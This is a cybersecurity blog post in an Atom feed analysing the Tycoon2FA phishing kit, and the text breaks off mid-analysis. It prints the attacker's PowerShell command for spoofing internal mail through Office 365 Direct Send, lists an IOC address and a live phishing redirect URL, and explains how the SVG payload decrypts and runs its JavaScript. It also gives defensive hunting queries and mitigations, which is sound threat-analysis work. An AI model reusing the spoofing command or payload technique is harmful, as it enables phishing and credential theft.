<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.2.2">Jekyll</generator><link href="http://localhost:8001/feed.xml" rel="self" type="application/atom+xml" /><link href="http://localhost:8001/" rel="alternate" type="text/html" /><updated>2026-02-06T03:07:25+00:00</updated><id>http://localhost:8001/feed.xml</id><title type="html">KillSwitchX7</title><subtitle>Personal blog site for documenting my knowledge, realisations, experiences and journey in Cybersecurity. 
</subtitle><author><name>Siddhartha Shree Kaushik</name></author><entry><title type="html">Analyzing Tycoon2FA Latest Phishing Kit and Campaign</title><link href="http://localhost:8001/tycoon2fa-phishing-kit-analysis" rel="alternate" type="text/html" title="Analyzing Tycoon2FA Latest Phishing Kit and Campaign" /><published>2025-07-15T00:00:00+00:00</published><updated>2025-07-15T00:00:00+00:00</updated><id>http://localhost:8001/Tycoon2FA-Phishing-Kit-Analysis</id><content type="html" xml:base="http://localhost:8001/tycoon2fa-phishing-kit-analysis">&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Introduction &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;Tycoon2FA’s latest Phishing-Kit has sophisticated TTPs - Initial Access via O365 Direct Send abuse, to several Anti-Analysis and Anti-Debugging features, to custom AES decryption and obfuscation routines, utilizing QR code phishing and SVG payloads, let’s dive deep into their tactics, we will uncover every minute detail of their phishing kit. Let’s start with the question - &lt;em&gt;“How did they get in?”&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; Initial Access - Abusing Microsoft Office365 Direct Send &lt;/h1&gt;

&lt;hr /&gt;

&lt;p&gt;Based on &lt;a href=&quot;https://www.varonis.com/blog/direct-send-exploit&quot;&gt;Varonis report&lt;/a&gt; which was published recently, attackers have been abusing the “Direct Send” feature from Microsoft Exchange Online.&lt;/p&gt;

&lt;p&gt;Attacker’s command to spoof the email -&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Send-MailMessage &lt;span class=&quot;nt&quot;&gt;-SmtpServer&lt;/span&gt; company-com.mail.protection.outlook.com &lt;span class=&quot;nt&quot;&gt;-To&lt;/span&gt; joe@company.com &lt;span class=&quot;nt&quot;&gt;-From&lt;/span&gt; joe@company.com &lt;span class=&quot;nt&quot;&gt;-Subject&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;New Missed Fax-msg&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-Body&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;You have received a call! Click on the link to listen to it. Listen Now&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-BodyAsHtml&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And why this worked out so well?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Varonis-direct-send.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And we can confirm the same via &lt;a href=&quot;https://learn.microsoft.com/en-us/exchange/mail-flow-best-practices/how-to-set-up-a-multifunction-device-or-application-to-send-email-using-microsoft-365-or-office-365&quot;&gt;Microsoft’s official documentation&lt;/a&gt; for Direct Send feature:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Direct-send1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Setting it up and learn more about &lt;a href=&quot;https://learn.microsoft.com/en-us/exchange/mail-flow-best-practices/manage-accepted-domains/manage-accepted-domains&quot;&gt;accepted domain&lt;/a&gt; here.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Dirrect-send2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With the information we have now, we can begin to make sense of why the “To” and “From” address were same&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/To-and-from.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;despite &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName&lt;/code&gt; email header displaying the target organization’s domain.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Spoof-header.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Microsoft has introduced more contol over &lt;a href=&quot;https://techcommunity.microsoft.com/blog/exchange/introducing-more-control-over-direct-send-in-exchange-online/4408790?WT.mc_id=M365-MVP-9501&quot;&gt;Direct Send in Exchange Online&lt;/a&gt;, so going by the definition -&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Direct Send is a method used to send emails directly to an Exchange Online customer’s hosted mailboxes from on-premises devices, applications, or third-party cloud services using the customer’s own accepted domain. This method does not require any form of authentication because, &lt;strong&gt;by its nature, it mimics incoming anonymous emails from the internet, apart from the sender domain.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;The Direct Send method assumes that customers have properly configured SPF, DKIM, and DMARC for their tenants.&lt;/strong&gt; It is critical that an administrator updates their SPF record by adding the source IP address where the device, application, or third-party service will send from to prevent emails from being flagged as spam. If SPF is not properly configured, any email sent using Direct Send will likely be flagged as spam.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Based upon your organization’s policy, you can consider “rejecting Direct Send feature”, which by default is disabled. To enable it, you need to run this command -&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Set-OrganizationConfig &lt;span class=&quot;nt&quot;&gt;-RejectDirectSend&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;The change should propagate out to our entire service within 30 minutes. With the feature enabled, any received Direct Send messages will see the following message:&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;550 5.7.68 TenantInboundAttribution; Direct Send not allowed for this organization from unauthorized sources&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Unless Direct Send is re-enabled again, any messages that hit this error will need a partner connector created to authenticate their source as an approved sender.&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Assets and Indicators of Compromise &lt;/h1&gt;
&lt;hr /&gt;

&lt;p&gt;Let’s begin our Investigation with couple of IOCs related to Tycoon2FA’s latest phishing campaign. You may find these IP Address in the followig email headers - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-OriginalClientIPAddress&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-ConnectingIP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-AS-LastExternalIp&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;microsoft-sentinel-query-for-tycoon2fa-activity&quot;&gt;Microsoft Sentinel Query for Tycoon2FA activity&lt;/h3&gt;

&lt;p&gt;Assuming they made it to your orgs inbox, you can tweak the query as per your needs.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;EmailEvents
| where SenderFromDomain has &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;org_domain&amp;gt;.com&quot;&lt;/span&gt;
| where RecipientEmailAddress has &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;org_domain&amp;gt;.com&quot;&lt;/span&gt;
| where parse_json&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;AuthenticationDetails&lt;span class=&quot;o&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;SPF&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;fail&apos;&lt;/span&gt;
| where DeliveryLocation has &lt;span class=&quot;s2&quot;&gt;&quot;inbox&quot;&lt;/span&gt;
| where SenderMailFromAddress &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;noreply@&amp;lt;org_domain&amp;gt;.com&quot;&lt;/span&gt;
| extend SenderUser &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; tostring&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SenderFromAddress, &lt;span class=&quot;s2&quot;&gt;&quot;@&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)[&lt;/span&gt;0]&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
| extend RecipientUser &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; tostring&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;RecipientEmailAddress, &lt;span class=&quot;s2&quot;&gt;&quot;@&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)[&lt;/span&gt;0]&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
| where SenderUser &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; RecipientUser
| where Subject has_any &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Reminder&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;Remittance&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;Action Required&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;WIRE TRANSFER&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;Fax-msg&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and filter further for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;| distinct SenderIPv4&lt;/code&gt; to grab the list of suspect IP Addresses and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;| distinct Subject&lt;/code&gt; to get the lay of the land, which should look something similar to this -&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Email Subjects &lt;/h1&gt;

&lt;p&gt;There are couple of variations, they’ll try to remind you of your goals, they’ll wire transfer you some goodies, and even &lt;em&gt;Fax&lt;/em&gt; you some important messages which deserve your utmost attention, sincerely.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Subject1.png&quot; /&gt;
&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Subject2.png&quot; /&gt;
&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Subject3.png&quot; /&gt;
&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Subject4.png&quot; /&gt;
&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Subject5.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; Attachments and Payload &lt;/h1&gt;

&lt;p&gt;Usually Tycoon2FA utilizes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.svg&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.msg&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf&lt;/code&gt; malicious attachment wrapped in benign &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.eml&lt;/code&gt; file, which gets in the inbox. In the previous phishing campaign they had used binary files as well.&lt;/p&gt;

&lt;p&gt;Packaging of malicious payload - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.svg&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf&lt;/code&gt;, etc.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Unpacked.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The end user will receive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.eml&lt;/code&gt; in their inbox, they may open it in preview mode/download and open it separately, which contains the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.svg&lt;/code&gt; payload or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf&lt;/code&gt; attachment for QR Phishing.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/pdf-document.png&quot; /&gt;
PDF malicious attachment wrapped in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.eml&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Email Template used by Tycoon2FA -&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Remittance+ADVICE+QR+Phishing.png&quot; /&gt;
Remittance ADVICE&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/Docusign-QR.png&quot; /&gt;
Docusign - WIRE TRANSFER&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 align=&quot;center&quot;&gt; Email Header Analysis &lt;/h1&gt;

&lt;p&gt;The Microsoft Exchange headers not only identify various aspects of the email but their specific values provide important insights into message origin, reputation, and authentication status. For Instance, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-AS-LastExternalIp:&lt;/code&gt; 139[.]28[.]38[.]90 shows the exact external IP address from which the message was last received, helping trace the source. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-InternalOrgSender:&lt;/code&gt; True value indicates the message is treated as originating from within the tenant’s trusted internal environment, which affects filtering and trust decisions. Reputation scores like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-SenderRep-Score:&lt;/code&gt; 3 suggest a moderate sender reputation, while classifications such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-SenderRep-Data:&lt;/code&gt; IpClassLargeGrayOther_GrayOther_Good imply the sender IP is in a &lt;em&gt;graylist&lt;/em&gt; category but currently considered good. Authentication results in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-Antispam-AuthResults&lt;/code&gt; show specific statuses like “SpfAuthStatus”:”Fail” and “DmarcAuthStatus”:”Fail”, indicating SPF and DMARC checks &lt;strong&gt;failed&lt;/strong&gt; for the domain, while “DkimAuthStatus”:”None” means no DKIM signature was found. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName:&lt;/code&gt; &lt;org_domain&gt;.com value identifies the domain checked for spoofing. Mail routing headers such as `X-MS-Exchange-Organization-MxPointsToUs:` true confirm that the recipient domain’s MX records correctly point to the organization’s mail servers. Other values like `X-MS-Exchange-Organization-Cross-Session-Cache` contain encoded flags and counters representing spam confidence levels (e.g., SCL=0 means not spam, which is the case here), bulk mail indicators, and ATP processing flags, reflecting the message’s filtering history and threat assessment. Together, these header values provide a detailed, multi-layered view of the message’s journey, authenticity, and trustworthiness within Microsoft’s mail ecosystem. Unfortunately, it was abused so well.&lt;/org_domain&gt;&lt;/p&gt;

&lt;p&gt;More on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-Cross-Session-Cache:&lt;/code&gt; reveals - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;;SL=1;SCL=0;BL=0;RL=1;PID=0;TIP=NotListed&lt;/code&gt; which implies the Spam Level (SL) was 1 (meaning low spam suspicion level), &lt;a href=&quot;https://learn.microsoft.com/en-us/defender-office-365/anti-spam-spam-confidence-level-scl-about&quot;&gt;Spam Confidence Level&lt;/a&gt; = 0, means it isn’t spam, so on, Bulk Level (BL = 0), and TIP is “not listed”, meaning that sending IP address is not listed on any known IP blocklists, indicating a clean reputation.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Header&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-InternalOrgSender&lt;/td&gt;
      &lt;td&gt;True&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Authentication-Results&lt;/td&gt;
      &lt;td&gt;spf=fail (sender IP is 139[.]28[.]38[.]90) smtp.mailfrom=&lt;org_domain&gt;.com; dkim=none (message not signed) header.d=none; dmarc=fail action=none header.from=&lt;org_domain&gt;.com;&lt;/org_domain&gt;&lt;/org_domain&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Received-SPF&lt;/td&gt;
      &lt;td&gt;Fail (protection.outlook.com: domain of &lt;org_domain&gt;.com does not designate 139[.]28[.]38[.]90 as permitted sender) receiver=protection.outlook.com; client-ip=139[.]28[.]38[.]90; helo=[127.0.0.1];&lt;/org_domain&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-Mailer&lt;/td&gt;
      &lt;td&gt;Microsoft Office Outlook 16.0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-OriginalClientIPAddress&lt;/td&gt;
      &lt;td&gt;139[.]28[.]38[.]90&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-ConnectingIP&lt;/td&gt;
      &lt;td&gt;139[.]28[.]38[.]90&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-AS-LastExternalIp&lt;/td&gt;
      &lt;td&gt;139[.]28[.]38[.]90&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-MS-Exchange-Organization-Antispam-AuthResults&lt;/code&gt; has the value  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{&quot;SpfDomain&quot;:&quot;&amp;lt;org_domain&amp;gt;.com&quot;,&quot;SpfAuthStatus&quot;:&quot;Fail&quot;,
&quot;DkimAuthStatus&quot;:&quot;None&quot;,&quot;DkimSubStatus&quot;:&quot;None&quot;,&quot;DmarcAuthStatus&quot;:&quot;Fail&quot;,
&quot;DmarcAction&quot;:&quot;None&quot;,&quot;ArcAuthStatus&quot;:&quot;0&quot;,&quot;ArcSubStatus&quot;:&quot;0&quot;}&lt;/code&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Header&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-IsBipIncludedAtpTenant&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-IsAtpTenant&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-SpoofDetection-Frontdoor-DisplayDomainName&lt;/td&gt;
      &lt;td&gt;target.com&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-SenderRep-Score&lt;/td&gt;
      &lt;td&gt;3&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-SenderRep-Data&lt;/td&gt;
      &lt;td&gt;IpClassLargeGrayOther_GrayOther_Good&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-VBR-Class&lt;/td&gt;
      &lt;td&gt;GrayOther&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-HMATPModel-Spf&lt;/td&gt;
      &lt;td&gt;6&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-AntiSpam-SpfDnsTimeoutError&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-PtrDomains&lt;/td&gt;
      &lt;td&gt;probev-us.mail.protection.outlook.com&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-EhloAndPtrDomain&lt;/td&gt;
      &lt;td&gt;[127.0.0.1];probev-us.mail.protection.outlook.com&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-MxPointsToUs&lt;/td&gt;
      &lt;td&gt;true&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-RecipientDomainMxRecord-PFAFD&lt;/td&gt;
      &lt;td&gt;target.com#target-com.mail.protection.outlook.com&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;X-MS-Exchange-Organization-RecipientDomainMxInfo&lt;/td&gt;
      &lt;td&gt;target.com#Office365#target-com.mail.protection.outlook.com&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/RunIntraOrgSpoof-true.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Also, flag &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;;RunIntraOrgSpoof=true&lt;/code&gt; being true, which implies Microsoft Exchange has enabled or executed internal spoof detection mechanisms to identify and block emails that falsely claim to originate from inside the organization. Tycoon2FA has bypassed &lt;a href=&quot;https://learn.microsoft.com/en-us/defender-office-365/anti-phishing-protection-spoofing-about&quot;&gt;Anti-Spoofing protection in EOP&lt;/a&gt; as well as &lt;a href=&quot;https://learn.microsoft.com/en-us/defender-office-365/anti-spoofing-spoof-intelligence&quot;&gt;Spoof Intelligence Insight in EOP&lt;/a&gt;,  along with many other security measures in place, need not to mention Microsoft ATP for  Office 365 was active throughout the exploitation chain. By analyzing the email headers itself, we can understand the level of sophistication Tycoon2FA achieved via exploiting/abusing the “Direct Send” feature. I was having a hard time wrapping my head around the fact that their phishing mail landed straight in the user’s inbox, despite all of the protections enabled (besides SPF, DKIM).&lt;/p&gt;

&lt;hr /&gt;
&lt;h1 align=&quot;center&quot;&gt; Phishing Payload Analysis &lt;/h1&gt;
&lt;hr /&gt;

&lt;h3 id=&quot;qr-code-phishing&quot;&gt;QR Code Phishing&lt;/h3&gt;

&lt;p&gt;To begin with, we can look into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pdf&lt;/code&gt; malicious attachment -  it contains a QR code which redirects the user to Office365 login page, but in my case I wasn’t  able to replicate that - due to the anti-analysis and anti-bot protection mechanism implemented by Tycoon2FA - their Cloudflare Turnstile captcha kept refreshing mutiple times - until it had blocked my IP and I had to use a residential proxy for circumventing it.&lt;/p&gt;

&lt;p&gt;Analyzing the QR code -&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/QR+Processing.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It contains the target user email as a parameter.&lt;/p&gt;

&lt;p&gt;Similarly,&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/QR+Processing1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This suggests the Domain Generation Algorithm utility for these random domains. You can find an updated list of more than 5,600+ &lt;a href=&quot;https://github.com/NoMorePhish/Tycoon2FADomains/blob/main/MaliciousDomains&quot;&gt;domains used for phishing by Tycoon2FA here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;svg-phishing---payload-variant-1&quot;&gt;.svg Phishing - Payload Variant 1&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/SVG-Payload1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Remember that the variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v&lt;/code&gt; is the Base64 encoded email of the target user. Now let’s unpack this code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Constants:
   -  D is a key string used for XOR decryption.
   -  W is a long hex string representing XOR encrypted data.

Helper Functions:
   -  g(h) splits the hex string W into pairs of hex digits.
   -  c(M) converts a number M into a character using Unicode code points.

Decryption Loop:
   -  The hex string W is split into byte-sized chunks.
   -  Each byte (parsed from hex) is XORed with a character code from D (cycling through D).
   -  The result is converted back to a character.
   -  This reconstructs a decrypted string N.

Execution of Decrypted Code:
   -  L is assigned the Function constructor by accessing the prototype of [].map.
   -  L(N)() creates a new function from the decrypted string N and immediately executes it.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In essence -&lt;/p&gt;

&lt;p&gt;The payload is encrypted JavaScript code inside the SVG.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;When the SVG is loaded and the script runs, it:&lt;/li&gt;
  &lt;li&gt;Decrypts the hidden code using XOR with a key.&lt;/li&gt;
  &lt;li&gt;Dynamically creates a function from the decrypted code.&lt;/li&gt;
  &lt;li&gt;Executes that function immediately.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/decoded-final-stage-landing-url.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;XOR Decrypting the hex stream with the key &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12483c0db4709822b7175c5b&lt;/code&gt; and in UTF-8 format.&lt;/p&gt;

&lt;p&gt;Now we have this code with us:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.location.href&lt;/code&gt; = …, This sets the browser’s current URL to a new value, causing a redirect.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;atob(…): The atob() function decodes a Base64-encoded string.&lt;/li&gt;
  &lt;li&gt;The long string inside atob() is constructed by concatenating multiple string fragments, e.g., “aH”+”R0”+”cH”+….&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v&lt;/code&gt;: After decoding the Base64 string, it concatenates the variable v to the end.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Upon Base64 decoding the concatenated string we get  - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;https://czaigj.aptswid.es/4xWh yTFyq5nDlVL/ %&quot;
&lt;/code&gt; which then gets appended with the variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v&lt;/code&gt;, likewise - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.location.href = &quot;https://czaigj.aptswid.es/4xWhyTFyq5nDlVL/%&quot; + v;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The redirect link was down for this domain, or it might have deployed some anti-analysis measures, Cloudflare Turnstile had stopped my analysis there, but it won’t be the case always, as we will see later.&lt;/p&gt;

&lt;h2 id=&quot;svg-phishing---payload-variant-2&quot;&gt;.svg Phishing - Payload Variant 2&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/nodijava-svg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So, Instead of hex stream, this time you’re gonna get Base64 encoded data, which is dynamically decoded and it runs the decoded function as follows - (just some redirect to their landing page which is protected by their Turnstile)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://killswitchx7.s3.ap-south-1.amazonaws.com/tycoon2fa/deobfuscation-0.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;and then it resolves to the FQDN they want their target to visit -&lt;/p&gt;

